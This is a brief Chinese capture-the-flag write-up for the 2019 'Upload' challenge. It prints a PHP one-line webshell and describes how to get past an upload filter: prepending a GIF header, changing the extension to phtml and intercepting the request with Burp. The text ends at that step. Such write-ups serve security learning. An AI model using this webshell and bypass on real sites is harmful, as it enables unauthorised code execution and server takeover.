[极客大挑战 2019]Upload 1做题记录

进入题目链接，首先看到的是需要我们上传一个文件。
并且题目是upload，说明是要我们利用文件上传漏洞来获取flag。
我们首先创建一个文本文件，写上我们的一句话木马（eval($_POST[‘cmd’]😉），目的是之后用工具查看网页后端文件。
试着上传phtml发现并没有上传成功，说明网页对前端检测
然后我们修改文件后缀名为xx.jpg再试着上传一次也没有成功，说明网页也有后端检测
最后尝试在一句话木马前加上gif的文件头

上传成功
然后重新上传，用bp进行抓包，修改上传文件的类型为phtml，只有这样才能使网页后端执行我们的一句话木马